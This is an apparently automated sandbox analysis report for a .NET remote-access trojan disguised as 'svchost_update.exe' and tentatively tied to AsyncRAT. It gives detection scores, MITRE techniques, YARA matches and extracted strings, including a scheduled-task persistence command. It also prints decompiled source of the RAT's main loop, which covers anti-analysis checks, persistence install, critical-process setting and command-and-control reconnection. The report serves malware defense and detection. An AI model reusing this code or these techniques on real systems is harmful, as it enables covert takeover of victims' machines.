Malwagon
EXE
svchost_update.exe File Analysis · first seen Oct 8, 2026 11:48 · 45.5 KB
5proc 5files 13reg 2drops 8IOCs
Malicious100 Completed Public
Get sample Report Sign in

svchost_update.exeasyncrat analysis report - Malicious

Run integrity

sample ran

The guest staged the sample and launched it, so what follows describes this file rather than an empty desktop.

12.1sto launch
59telemetry events
27observed
36agent notes

Malicious

100/100

30 points past the malicious line at 70.

Clean0-34 Suspicious35-69 Malicious70-100

Why this verdict

+87
Static analysis
  • 3 high-risk capability(ies): indicator removal, reflective code loading, sandbox evasion
  • 7 supporting capabilities in one unsigned binary: file discovery, obfuscation, process discovery, registry query
  • 1 high-risk capability bucket(s): Anti-debugging
  • Malicious strings: injection / execution
  • .NET source: Downloads and executes a remote payload, Reflectively loads an in-memory assembly
  • Local ML score 100.0
+75
Local anti-virus engine
  • Antivirus detection: Win.Packed.Razy-9625918-0
+47
Runtime behavior
  • Installed registry Run-key persistence (+1 more runtime behavior)
+35
Malware family
  • Identified as AsyncRAT (possible confidence, named by static_yara)
+14
Autostart payload
  • Registry Run Key points at a file this run produced: svchost_update.exe
+0
Persistence
  • 1 persistence mechanism(s): Registry Run Key
  • Registry Run Key is not charged here: the runtime layer already scored the same autostart write as a behaviour.
+0
Model review
  • findings review (advisory, not scored): malicious - c2 communication, registry persistence, process injection, anti-analysis

Model reading

Measured MALICIOUS100 of 100

Evidence ledger above, row by row. Published verdict rests on this column and on nothing to its right.

Model reads it asadvisory, no points NOT ASSESSEDnot shown on this page

Reads this report's derived findings, never the sample itself.

A model reading exists for this scan and is shown to the submitter and to staff only. It is a second opinion about evidence the score already priced, it is worth no points, and on a public page it would stand beside the verdict with no grounding a stranger could check.

Other high-severity findings
  • HIGH .NET source: Reflectively loads an in-memory assembly
  • HIGH Antivirus detection: Win.Packed.Razy-9625918-0
  • HIGH Injection/execution API strings
  • HIGH Installed registry Run-key persistence

Analysis layers

Static ran moved the score
Dynamic ran moved the score
Threat intel local feeds only no points
AI not included

Sample

TypeFile
MIMEapplication/vnd.microsoft.portable-executable

Run conditions

Sandbox OSWindows 10
EnvironmentWorkgroup
InternetIsolated
Execution143s
Guest hardware2 vCPU4095 MB RAM

Malware family

1 independent source
AsyncRAT possible

Named by a single source. Treat it as a lead rather than a classification.

LayerSourceWhat it matched
static_yara rule corpus AsyncRAT_057B
Also named, less strongly: SEKOIA Rat Win Asyncrat possible

Detection signatures

19 detected · 3 withheld as common
Severity Detection Evidence Layer
HIGH
.NET source: Downloads and executes a remote payload
MITRE T1105
- dynamic
HIGH
.NET source: Reflectively loads an in-memory assembly
MITRE T1620
- dynamic
HIGH
Antivirus detection: Win.Packed.Razy-9625918-0
antivirus Win.Packed.Razy-9625918-0 antivirus engine match
antivirus
HIGH
Injection/execution API strings
MITRE T1055
string downloadstring matched string
string frombase64string matched string
static
HIGH
Installed registry Run-key persistence
MITRE T1547.001
runtime registry persistence observed in the guest
dynamic
MED
.NET source: Decrypts an embedded payload at runtime
MITRE T1140
- dynamic
MED
.NET source: Large embedded base64 blob (packed payload/resource)
MITRE T1027
- dynamic
MED
.NET source: Registry Run-key / startup persistence
MITRE T1547.001
- dynamic
MED
Anti-analysis strings present
MITRE T1497
string checkremotedebuggerpresent matched string
string isdebuggerpresent matched string
string sandboxie matched string
string sbiedll matched string
string vmware matched string
static
MED
Anti-debug: CheckRemoteDebuggerPresent
MITRE T1622
string checkremotedebuggerpresent found in the sample's strings
static
MED
Dropped an executable to disk
MITRE T1105
file C:\Users\user\AppData\Roaming\svchost_update.exe dropped
file C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat dropped
dynamic
MED
Persistence-related strings
MITRE T1547
string schtasks /create matched string
static
MED
Ransomware-related strings
MITRE T1486
string .crypt matched string
string decrypt matched string
static
MED
Surveillance/keylogging strings
MITRE T1056
string getforegroundwindow matched string
static
LOW
Executes via ShellExecute
MITRE T1204
seen in 12% of benign software
string shellexecute found in the sample's strings
static
LOW
Network communication capability
MITRE T1071
seen in 6% of benign software
capability connect capability: network
capability send capability: network
static
LOW
Reads the foreground window (activity monitoring)
MITRE T1113
string getforegroundwindow found in the sample's strings
static
INFO
.NET managed assembly (decompiled)
- static
INFO
Stages in the temp directory (GetTempPath)
MITRE T1074
seen in 15% of benign software
string gettemppath found in the sample's strings
static
Withheld: 3 rules fired and were not reported above

These rules matched this sample, and they also match this much of known-clean software (measured over 1145 signed Windows and third-party binaries). A rule that fires on most clean files cannot move a verdict, so it is held back unless the detonation confirms the behaviour. They are listed because a count that shrinks without saying so is not a count an analyst can check.

Anti-debugging capability fires on 65% of benign software
Anti-debug: checks for a debugger fires on 60% of benign software
Creates a named mutex (single-instance / infection marker) fires on 31% of benign software

Persistence

1 mechanism
HIGH
Registry Run Key runtime
Logon & Startup · MITRE T1547.001

Auto-start methods established during detonation or referenced statically. The Persistence tab lists these against every method checked.

What the tests returned

5 tests

Each test this run performed and what it returned. A test that was not performed says so rather than reading as a negative result.

TestResult
Cross-process injectionnone observed
Network connectionsnot tested - internet was disabled
Behavioural rule matches (Sigma)none observed
Known-malicious hash (reputation sources)no source reported this file
Anti-analysis / evasion checksnot measured on this run - no in-process API monitor reported in, so the runtime anti-debug and anti-VM calls were never watched

Absence of an observation is not proof of absence - see Coverage for what this run could and could not test.

Arguing against malice

  • No reputation source reported this file as malicious.

How much weight this carries

Confirmed. Independent external evidence, or the same behaviour seen by more than one analysis layer. The one fact that decided it: the local AV engine flagged the file.

Structure

What the file is made of: headers, imports, how it was built and whether it was signed.

Signature
VB.NET
Not packed Unsigned
CompilerVB.NET
LinkerMicrosoft Linker(8.0)
Library.NET Framework(v4.8, CLR v4.0.30319)
Identity
File
typeexecutable
size45.5 KB
file arch32-bit (x86)
subsystemGUI
entropy5.4458
date2026-04-13 17:57:43 UTC
version1.0.0.0
original nameStub.exe
languageNEU

Antivirus engine

signature match signature set 28146 - 3.6M signatures

A local signature engine recognises these bytes. The name below is what that one engine calls them - it is a signature name, not an independent family attribution, and two engines routinely give the same file two different names.

Signature Win.Packed.Razy-9625918-0

Signature setValue
Set version28146
Signatures in the set3,642,835
Set published07 Oct 2026 06:24 +0000
Age when this file was scannedsame day

A negative answer is only as good as the signature set that gave it, so the set is recorded with the result and the result can be reproduced against it.

Local ML assessment

100.0 of 100 8 strongest of 2568 features

A gradient-boosted model running entirely on this host scored this file 100.0 of 100 on structure alone: its headers, sections, imports, strings and signature. The file was not executed and nothing about it left this machine.

Read this as corroboration and not as a verdict. Measured across this corpus the model separates signed software from unsigned software more sharply than malicious from benign, so it is charged at most 15 of 100 verdict points and only on top of evidence this report measured for itself. The eight features below are the ones that moved it furthest.

Structural featureWhat it meansPushesWeight
image flag dll Image flag: a library rather than a program towards malicious +1.5895
parser warning: Suspicious flags set for section... Header defect reported by the parse: Suspicious flags set for section... (0) towards benign -0.5405
optional.checksum Header checksum, which is zero on most files that were never signed (0) towards malicious +0.4878
imported function count Number of functions imported from other libraries (1) towards malicious +0.4810
coff.timestamp Build timestamp recorded in the header (1776103040) towards malicious +0.4691
feature column 2478 When a timestamp authority countersigned the signature towards malicious +0.3559
feature column 650 Text in the file matching the pattern download towards malicious +0.3501
debug directory size Size of the debug table (0) towards malicious +0.3268

A weight is a log-odds nudge away from the model's own baseline, not a percentage point. Where a feature names a section, an import or a build id, the number beside it is the model's own hashed cell for that name rather than a measurement of the file: two names can share one cell and the sign comes from the hash, so no number is shown for those rows.

Packing
Not packed
This file's code is readable on disk - nothing is compressed or encrypted around it.
.NET managed
0/100
packer confidence
Static analysis reads this file directly Nothing is hiding the code from a static pass, so what the file contains is what the report shows.
Indicators weighed 1 signal
  • .NET managed binary (no obfuscator signature matched)

Secrets & malicious strings

11 flagged strings

Flagged string categories

injection / execution high 2 hits
IndicatorFound inEvidence from the sample
downloadstring raw bytes present in the file bytes only
frombase64string raw bytes present in the file bytes only
anti-analysis / evasion med 5 hits
IndicatorFound inEvidence from the sample
checkremotedebuggerpresent raw bytes present in the file bytes only
isdebuggerpresent raw bytes present in the file bytes only
sandboxie extracted string DetectSandboxie
sbiedll extracted string SbieDll.dll
vmware raw bytes present in the file bytes only
ransomware med 2 hits
IndicatorFound inEvidence from the sample
.crypt extracted string System.Security.Cryptography.X509Certificates
decrypt extracted string CreateDecryptor
persistence med 1 hit
IndicatorFound inEvidence from the sample
schtasks /create extracted string /c schtasks /create /f /sc onlogon /rl highest /tn "
keylogging / surveillance med 1 hit
IndicatorFound inEvidence from the sample
getforegroundwindow raw bytes present in the file bytes only

Capabilities

2 behaviour buckets · 1 high-risk
SeverityCapabilityMITREAPIs
high Anti-debugging
Detects or obstructs a debugger
T1622 checkremotedebuggerpresent, isdebuggerpresent
med Network / C2
Opens sockets, HTTP or downloads payloads
T1071 connect, send

Security mitigations

partial posture
ON ASLR (DynamicBase)
ON High-entropy ASLR (64-bit)
ON DEP / NX (NxCompat)
OFF Control Flow Guard
? SafeSEH
? Stack cookies (GS)
OFF Force Integrity
OFF AppContainer isolation
OFF Authenticode signed

.NET managed

Assemblysvchost_update 1.0.0.0
Streams#~ #Strings #US #GUID #Blob
P/Invoke6 unmanaged import(s): CheckRemoteDebuggerPresent, GetForegroundWindow, GetModuleHandle, GetWindowText, RtlSetProcessIsCritical, SetThreadExecutionState

Sections

3 sections · the file's memory layout
SectionVirtual addrRaw sizeVirtual sizeAccessEntropy
.textEP
Executable code
0x2000
42.5 KB
42.2 KB
EXECUTEREAD
5.5037
.rsrc
Resources
0xe000
2.0 KB
2.0 KB
READ
4.8059
.reloc
Base relocations
0x10000
512.0 B
12.0 B
READ
0.0815
code data imports/exports resources metadata packer non-standard Entropy above 7.0 means compressed or encrypted content.

Imports

1 funcs / 1 DLL

0 of these function were seen called at runtime.

Open the imports page

Binary metadata

what the headers declare about this build
Resource langsNEU
Debug infono
TLS callbacksno

Code signing

Unsigned

This binary carries no Authenticode signature. Unsigned executables are a weak suspicious signal - most legitimate vendor software is signed.

Similar samples

22 related samples

Ranked by fuzzy hash (TLSH distance - lower is closer) and ssdeep similarity, plus an identical import table and functions shared once library code is removed. A near-identical neighbour is usually the same build; a variant is the same family rebuilt or repacked.

RelationSampleVerdictWhy it matched
related ZuLauncher.exe Suspicious identical import table (imphash)
related CrackPotassium.exe Malicious identical import table (imphash)
related Bind Remover.exe Malicious identical import table (imphash)
related START.exe Suspicious identical import table (imphash)
related Server.exe Malicious identical import table (imphash)
related dfsvc.exe No threats detected identical import table (imphash)
related dotnet_b64_3des_cbc_to_404keylo… Malicious identical import table (imphash)
related WeMod Geometry Dash Setup.exe No threats detected identical import table (imphash)
related MetaDataStringEditor.exe No threats detected identical import table (imphash)
related cr-keygen.exe Malicious identical import table (imphash)
related IronCrownSetup (2).exe Malicious identical import table (imphash)
related AlyxMP-Setup.exe Suspicious identical import table (imphash)
related VM.v2.1.exe Malicious identical import table (imphash)
related SpyTeam.exe Suspicious identical import table (imphash)
related XIAOMI BOOTLOADER TOOL.exe Suspicious identical import table (imphash)
related M4R7HGroup.exe Suspicious identical import table (imphash)
related Dungeons2SkinLoader.exe No threats detected identical import table (imphash)
related EndcordInstaller.exe Malicious identical import table (imphash)
related Capri-Setup.exe Malicious identical import table (imphash)
related Capri-Setup.exe Malicious identical import table (imphash)
related XWorm V3.1.exe Malicious identical import table (imphash)
related Capri-Setup.exe Malicious identical import table (imphash)

Threat classification

Signature family candidates
FamilyAgreeing rulesMatched rulesDisposition
AsyncRAT1AsyncRAT_057B Not a classification: one rule cannot establish a family, so this named nothing and scored nothing.
SEKOIA Rat Win Asyncrat1SEKOIA_Rat_Win_Asyncrat Not a classification: one rule cannot establish a family, so this named nothing and scored nothing.

Capability detection

54 capabilities
list is incomplete here

The capability analysis reports a limitation on this class of file: (internal) .NET file limitation.

Read what follows as the capabilities of the code that could be read, not of the file as a whole.

CapabilityNamespace
create process in .NET host-interaction/process/create
read file in .NET host-interaction/file-system/read
create or open mutex on Windows host-interaction/mutex
suspend thread host-interaction/thread/suspend
create TCP socket communication/socket/tcp
get OS version in .NET host-interaction/os/version
create thread host-interaction/thread/create
create or open registry key -
get process image filename host-interaction/process
check for sandbox and av modules anti-analysis/anti-av
enter debug mode in .NET host-interaction/process/modify
terminate process host-interaction/process/terminate
decode data using Base64 in .NET data-manipulation/encoding/base64
generate random numbers in .NET data-manipulation/prng
manipulate network credentials in .NET communication/authentication
read data from Internet communication/http/client
receive data communication
resolve DNS communication/dns
execute via timer in .NET host-interaction/thread/timer
send data to Internet communication/http/client
send data communication
get session user name host-interaction/session
create a process with modified I/O handles and window host-interaction/process/create
set registry value host-interaction/registry/create
generate random filename in .NET host-interaction/file-system
check if file exists host-interaction/file-system/exists
query environment variable host-interaction/environment-variable
schedule task via schtasks persistence/scheduled-tasks
delete file host-interaction/file-system/delete
enumerate processes host-interaction/process/list
query or enumerate registry key host-interaction/registry
self delete anti-analysis/anti-forensic/self-deletion
get disk size host-interaction/hardware/storage
get common file path host-interaction/file-system
access WMI data in .NET host-interaction/wmi
check for debugger via API anti-analysis/anti-debugging/debugger-detection
unmanaged call runtime
get number of processors host-interaction/hardware/cpu
get hostname host-interaction/os/hostname
hash data with MD5 data-manipulation/hashing/md5
get session integrity level host-interaction/session
get graphical window text host-interaction/gui/window/get-text
query or enumerate registry value host-interaction/registry
delete registry value host-interaction/registry/delete
delete registry key host-interaction/registry/delete
load .NET assembly load-code/dotnet
encode data using Base64 data-manipulation/encoding/base64
hash data using SHA256 data-manipulation/hashing/sha256
contain loop -
compress data using GZip in .NET data-manipulation/compression
compiled to the .NET platform runtime/dotnet
reference anti-VM strings targeting VMWare anti-analysis/anti-vm/vm-detection
reference anti-VM strings targeting VirtualBox anti-analysis/anti-vm/vm-detection
ATT&CK techniques
Collection::Archive Collected Data::Archive via Library [T1560.002]Defense Evasion::Deobfuscate/Decode Files or Information [T1140]Defense Evasion::Indicator Removal::File Deletion [T1070.004]Defense Evasion::Modify Registry [T1112]Defense Evasion::Obfuscated Files or Information [T1027]Defense Evasion::Reflective Code Loading [T1620]Defense Evasion::Virtualization/Sandbox Evasion::System Checks [T1497.001]Discovery::Account Discovery [T1087]Discovery::File and Directory Discovery [T1083]Discovery::Process Discovery [T1057]Discovery::Query Registry [T1012]Discovery::Software Discovery [T1518]Discovery::System Information Discovery [T1082]Discovery::System Owner/User Discovery [T1033]Execution::Windows Management Instrumentation [T1047]Persistence::Scheduled Task/Job::Scheduled Task [T1053.005]
Malware Behavior Catalog
Anti-Behavioral Analysis::Debugger Detection::CheckRemoteDebuggerPresentAnti-Behavioral Analysis::Debugger Detection::WudfIsAnyDebuggerPresentAnti-Behavioral Analysis::Sandbox DetectionAnti-Behavioral Analysis::Virtual Machine DetectionCommand and Control::C2 Communication::Receive DataCommand and Control::C2 Communication::Send DataCommunication::DNS Communication::ResolveCommunication::HTTP Communication::Get ResponseCommunication::Socket Communication::Create TCP SocketCryptography::Cryptographic Hash::MD5Cryptography::Cryptographic Hash::SHA256Cryptography::Generate Pseudo-random Sequence::Use APIData::Compress DataData::Decode Data::Base64Data::Encode Data::Base64Defense Evasion::Obfuscated Files or Information::Encoding-Standard AlgorithmDefense Evasion::Self Deletion::COMSPEC Environment VariableDiscovery::Application Window DiscoveryDiscovery::File and Directory DiscoveryDiscovery::System Information DiscoveryFile System::Delete FileFile System::Read FileOperating System::Registry::Create Registry KeyOperating System::Registry::Delete Registry KeyOperating System::Registry::Delete Registry ValueOperating System::Registry::Open Registry KeyOperating System::Registry::Query Registry KeyOperating System::Registry::Query Registry ValueOperating System::Registry::Set Registry KeyProcess::Create MutexProcess::Create ProcessProcess::Create ThreadProcess::Suspend ThreadProcess::Terminate Process

Signature matches

4 findings · 3 file properties · 0 scored
Rule What it matched Corpus Weight
SEKOIA_Rat_Win_Asyncrat
FILE
rule dated 2023-01-25
Detect AsyncRAT based on specific strings
12 of 12 strings matched
$str01 get_ActivatePong at 0x6828
$str02 get_SslClient at 0x75b0
$str03 get_TcpClient at 0x75cc
$str04 get_SendSync at 0x5e06
$str05 get_IsConnected at 0x5e56
$str06 set_UseShellExecute at 0x65b3
$str07 P\x00a\x00s\x00t\x00e\x00b\x00i\x00n\x00 at 0x9e03
$str08 S\x00e\x00l\x00e\x00c\x00t\x00 \x00*\x00 \x00f\x00r\x00o\x00m\x00 \x00A\x00n\x00... at 0x9e85
and 4 more
Tier 2 - community rule feed
may confirm a family name, never establish one on its own
SCORED 0
Scored 0: the rule declares no category. No branch of the score model reads it.
Names SEKOIA Rat Win Asyncrat, but one rule cannot establish a family: two independent rules must agree, so this named nothing.
AsyncRAT_057B
rule dated 2026-03-31
AsyncRAT 0.5.7B -- minimal .NET RAT with PBKDF2 key derivation and MessagePack serialization
6 of 6 strings matched
$salt \xbf\xeb\x1eV\xfb\xcd\x97;\xb2\x19\x02$0\xa5xC\x00=VD\xd2\x1eb\xb9\xd4\xf1\x80\xe7\xe6\xc39A at 0x250
$ns_handle Handle_Packet at 0x74f9
$cmd_save s\x00a\x00v\x00e\x00P\x00l\x00u\x00g\x00i\x00n\x00 at 0x9f15
$cmd_pong p\x00o\x00n\x00g\x00 at 0x9efd
$cert_field ServerCertificate at 0x63c8
$msgpack MessagePackLib at 0x5c5d · 2 hits
Tier 1 - curated family set
licence-gated and benign-tested; may name a malware family
SCORED 0
Scored 0: category "malware" is not one the score model reads. No branch of the score model reads it.
Names AsyncRAT, but one rule cannot establish a family: two independent rules must agree, so this named nothing.
win_asyncrat_j1
rule dated 2020-04-26
detects AsyncRAT
13 of 16 strings matched
$str_anti_1 V\x00I\x00R\x00T\x00U\x00A\x00L\x00 at 0x9cd5
$str_anti_2 v\x00m\x00w\x00a\x00r\x00e\x00 at 0x9ce5
$str_anti_3 V\x00i\x00r\x00t\x00u\x00a\x00l\x00B\x00o\x00x\x00 at 0x9cf3
$str_anti_4 S\x00b\x00i\x00e\x00D\x00l\x00l\x00.\x00d\x00l\x00l\x00 at 0x9d09
$str_b_rev_run \\\x00n\x00u\x00R\x00\\\x00n\x00o\x00i\x00s\x00r\x00e\x00V\x00t\x00n\x00e\x00r\x00... at 0x9b5d
$str_b_msg_pack_1 (\x00e\x00x\x00t\x008\x00,\x00e\x00x\x00t\x001\x006\x00,\x00e\x00x\x003\x002\x00... at 0xa0d1
$str_b_msg_pack_2 (\x00n\x00e\x00v\x00e\x00r\x00 \x00u\x00s\x00e\x00d\x00)\x00 \x00t\x00y\x00p\x00... at 0xa0a5
$str_config_1 A\x00n\x00t\x00i\x00v\x00i\x00r\x00u\x00s\x00 at 0x9e15 · 2 hits
and 5 more
Tier 3 - community corpus
casts no family vote; every measured false family match came from here
SCORED 0
Scored 0: the rule declares no category. No branch of the score model reads it.
Njrat
RAT
Njrat
10 of 17 strings matched
$string1 FromBase64String at 0x6765
$string2 Base64String at 0x6769 · 2 hits
$string3 Connected at 0x5e4c · 4 hits
$string4 Receive at 0x5e76 · 2 hits
$string5 Send at 0x5e0a · 6 hits
$string7 DeleteSubKey at 0x609b · 2 hits
$string8 get_MachineName at 0x626a
$string9 get_UserName at 0x62a8
and 2 more
Tier 3 - community corpus
casts no family vote; every measured false family match came from here
SCORED 0
Scored 0: the rule declares no category. No branch of the score model reads it.
File properties - not findings
IsPE32IsNET_EXEIsWindowsGUI

These say what the file IS or holds - bitness, subsystem, an overlay, an embedded macro stream, which compiler built it. Ordinary files match several, and none of them carry weight in the score.

None of the rules above moved the score. The score model reads four rule categories - anti-vm, anti-debug, dropper and packer - and a rule outside them can match, and be worth reading, without being evidence the verdict is built on.

Extracted strings

showing 200 of 614
  • !This program cannot be run in DOS mode.
  • .text
  • `.rsrc
  • @.reloc
  • #Strings
  • #GUID
  • Action`10
  • IEnumerable`1
  • CallSite`1
  • List`1
  • __StaticArrayInitTypeSize=32
  • Microsoft.Win32
  • ToUInt32
  • SwapInt32
  • X509Certificate2
  • WriteUInt64
  • ToUInt64
  • GetAsUInt64
  • SetAsUInt64
  • SwapInt64
  • ToUInt16
  • SwapInt16
  • HMACSHA256
  • __StaticArrayInitTypeSize=6
  • get_UTF8
  • <Module>
  • MessagePackLib.<PrivateImplementationDetails>
  • 1DB2A1F9902B35F8F880EF1692CE9947A193D5A698D8F568BDA721658ED4C58B
  • ES_SYSTEM_REQUIRED
  • ES_DISPLAY_REQUIRED
  • MapNameToOID
  • HWID
  • get_FormatID
  • EXECUTION_STATE
  • 87639126EA77B358F26532367DBA67C5310EF50A8D9888ED070CD40E1F605A8F
  • get_ASCII
  • System.IO
  • ES_CONTINUOUS
  • get_IV
  • set_IV
  • GenerateIV
  • value__
  • ReadServertData
  • data
  • mscorlib
  • System.Collections.Generic
  • Microsoft.VisualBasic
  • get_SendSync
  • EndRead
  • BeginRead
  • Thread
  • Load
  • InnerAdd
  • SHA256Managed
  • get_Connected
  • get_IsConnected
  • set_IsConnected
  • Received
  • System.Collections.Specialized
  • get_Guid
  • Hwid
  • <SendSync>k__BackingField
  • <IsConnected>k__BackingField
  • <KeepAlive>k__BackingField
  • <HeaderSize>k__BackingField
  • <Ping>k__BackingField
  • <ActivatePong>k__BackingField
  • <Interval>k__BackingField
  • <Buffer>k__BackingField
  • <Offset>k__BackingField
  • <SslClient>k__BackingField
  • <TcpClient>k__BackingField
  • InnerAddMapChild
  • InnerAddArrayChild
  • Send
  • Append
  • RegistryValueKind
  • Replace
  • CreateInstance
  • set_Mode
  • FileMode
  • PaddingMode
  • EnterDebugMode
  • CryptoStreamMode
  • CompressionMode
  • CipherMode
  • SelectMode
  • utf8Encode
  • DeleteSubKeyTree
  • get_Message
  • DetectSandboxie
  • IEnumerable
  • IDisposable
  • ToDouble
  • get_Handle
  • RuntimeFieldHandle
  • GetModuleHandle
  • RuntimeTypeHandle
  • GetTypeFromHandle
  • WaitHandle
  • WriteSingle
  • ToSingle
  • SetAsSingle
  • InstallFile
  • DecodeFromFile
  • SaveBytesToFile
  • IsInRole
  • WindowsBuiltInRole
  • GetActiveWindowTitle
  • get_MainModule
  • ProcessModule
  • set_WindowStyle
  • ProcessWindowStyle
  • get_Name
  • get_FileName
  • set_FileName
  • GetTempFileName
  • GetFileName
  • fileName
  • lpModuleName
  • get_MachineName
  • get_OSFullName
  • get_FullName
  • IsValidDomainName
  • get_UserName
  • lowerName
  • SetName
  • CheckHostName
  • name
  • DateTime
  • get_LastWriteTime
  • ToUniversalTime
  • WriteLine
  • Combine
  • UriHostNameType
  • get_ValueType
  • valueType
  • ProtocolType
  • GetType
  • SocketType
  • FileShare
  • System.Core
  • Serversignature
  • Close
  • Dispose
  • Parse
  • StrReverse
  • X509Certificate
  • ValidateServerCertificate
  • certificate
  • svchost_update
  • Create
  • SetThreadExecutionState
  • Delete
  • CallSite
  • Write
  • CompilerGeneratedAttribute
  • DebuggableAttribute
  • ComVisibleAttribute
  • AssemblyTitleAttribute
  • AssemblyTrademarkAttribute
  • TargetFrameworkAttribute
  • AssemblyFileVersionAttribute
  • AssemblyConfigurationAttribute
  • AssemblyDescriptionAttribute
  • DefaultMemberAttribute
  • CompilationRelaxationsAttribute
  • AssemblyProductAttribute
  • AssemblyCopyrightAttribute
  • AssemblyCompanyAttribute
  • RuntimeCompatibilityAttribute
  • set_UseShellExecute
  • ReadByte
  • WriteByte
  • DeleteValue
  • innerValue
  • GetValue
  • SetValue
  • value
  • get_KeepAlive
  • set_KeepAlive
  • Remove
  • svchost_update.exe
  • set_BlockSize
  • get_TotalSize
  • get_HeaderSize
  • set_HeaderSize
  • set_SendBufferSize
  • set_ReceiveBufferSize
  • set_KeySize
  • IndexOf
  • strFlag
  • CryptoConfig
  • get_Ping
  • set_Ping
  • System.Threading
  • set_Padding
  • add_SessionEnding
  • SystemEvents_SessionEnding
  • UTF8Encoding

Stack and decoded strings were not recovered: no reason was recorded. Only literal strings present in the file are listed above.

Disassembly

entry point · x86 · 60 insns (listing capped)
AddressBytesMnemonicOperands
0x40c8aeff2500204000jmpdword ptr [0x402000]
0x40c8b40000addbyte ptr [eax], al
0x40c8b60000addbyte ptr [eax], al
0x40c8b80000addbyte ptr [eax], al
0x40c8ba0000addbyte ptr [eax], al
0x40c8bc0000addbyte ptr [eax], al
0x40c8be0000addbyte ptr [eax], al
0x40c8c00000addbyte ptr [eax], al
0x40c8c20000addbyte ptr [eax], al
0x40c8c40000addbyte ptr [eax], al
0x40c8c60000addbyte ptr [eax], al
0x40c8c80000addbyte ptr [eax], al
0x40c8ca0000addbyte ptr [eax], al
0x40c8cc0000addbyte ptr [eax], al
0x40c8ce0000addbyte ptr [eax], al
0x40c8d00000addbyte ptr [eax], al
0x40c8d20000addbyte ptr [eax], al
0x40c8d40000addbyte ptr [eax], al
0x40c8d60000addbyte ptr [eax], al
0x40c8d80000addbyte ptr [eax], al
0x40c8da0000addbyte ptr [eax], al
0x40c8dc0000addbyte ptr [eax], al
0x40c8de0000addbyte ptr [eax], al
0x40c8e00000addbyte ptr [eax], al
0x40c8e20000addbyte ptr [eax], al
0x40c8e40000addbyte ptr [eax], al
0x40c8e60000addbyte ptr [eax], al
0x40c8e80000addbyte ptr [eax], al
0x40c8ea0000addbyte ptr [eax], al
0x40c8ec0000addbyte ptr [eax], al
0x40c8ee0000addbyte ptr [eax], al
0x40c8f00000addbyte ptr [eax], al
0x40c8f20000addbyte ptr [eax], al
0x40c8f40000addbyte ptr [eax], al
0x40c8f60000addbyte ptr [eax], al
0x40c8f80000addbyte ptr [eax], al
0x40c8fa0000addbyte ptr [eax], al
0x40c8fc0000addbyte ptr [eax], al
0x40c8fe0000addbyte ptr [eax], al
0x40c9000000addbyte ptr [eax], al
0x40c9020000addbyte ptr [eax], al
0x40c9040000addbyte ptr [eax], al
0x40c9060000addbyte ptr [eax], al
0x40c9080000addbyte ptr [eax], al
0x40c90a0000addbyte ptr [eax], al
0x40c90c0000addbyte ptr [eax], al
0x40c90e0000addbyte ptr [eax], al
0x40c9100000addbyte ptr [eax], al
0x40c9120000addbyte ptr [eax], al
0x40c9140000addbyte ptr [eax], al
0x40c9160000addbyte ptr [eax], al
0x40c9180000addbyte ptr [eax], al
0x40c91a0000addbyte ptr [eax], al
0x40c91c0000addbyte ptr [eax], al
0x40c91e0000addbyte ptr [eax], al
0x40c9200000addbyte ptr [eax], al
0x40c9220000addbyte ptr [eax], al
0x40c9240000addbyte ptr [eax], al
0x40c9260000addbyte ptr [eax], al
0x40c9280000addbyte ptr [eax], al
callbranchretstackarithregisterimmediatememory

Import fingerprint

no related sample
Fingerprint3:rGsLdAIEK:tf
Imports read1 function from 1 library (1 distinct)
Comparableno (fewer than 8 distinct imports)
Samples built on the same import table

No comparison was run: this import table is not distinctive enough for a match to mean anything.

AI security review

advisory, not scored

Review of this assembly has not run

Reports stored before this section existed carry no reading, and one is not written after the fact. Rescanning the sample produces it.

Decompiled .NET source

5 findings C# 26 types · 2312 lines

Decompiled from IL. Every type defined in the assembly is listed below; on a merged or packed sample some of it belongs to a bundled library rather than to the author. Behaviour review and the AI layer read only the author's own types.

Assembly contents 24 types · 1 finding in bundled library code, not counted against the sample
SeverityBehavior detected in sourceMITRE
high Downloads and executes a remote payload T1105
high Reflectively loads an in-memory assembly T1620
med Decrypts an embedded payload at runtime T1140
med Large embedded base64 blob (packed payload/resource) T1027
med Registry Run-key / startup persistence T1547.001
using System;
using System.Collections;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Management;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Authentication;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Client.Algorithm;
using Client.Connection;
using Client.Handle_Packet;
using Client.Helper;
using Client.Install;
using MessagePackLib.MessagePack;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Devices;
using Microsoft.Win32;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
[assembly: ComVisible(false)]
[assembly: AssemblyVersion("1.0.0.0")]
namespace Client
{
	public class Program
	{
		public static void Main()
		{
			for (int i = 0; i < Convert.ToInt32(Settings.Delay); i++)
			{
				Thread.Sleep(1000);
			}
			if (!Settings.InitializeSettings())
			{
				Environment.Exit(0);
			}
			try
			{
				if (!MutexControl.CreateMutex())
				{
					Environment.Exit(0);
				}
				if (Convert.ToBoolean(Settings.Anti))
				{
					Anti_Analysis.RunAntiAnalysis();
				}
				if (Convert.ToBoolean(Settings.Install))
				{
					NormalStartup.Install();
				}
				if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
				{
					ProcessCritical.Set();
				}
				Methods.PreventSleep();
			}
			catch
			{
			}
			while (true)
			{
				try
				{
					if (!ClientSocket.IsConnected)
					{
						ClientSocket.Reconnect();
						ClientSocket.InitializeClient();
					}
				}
				catch
				{
				}
				Thread.Sleep(5000);
			}
		}
	}
	public static class Settings
	{
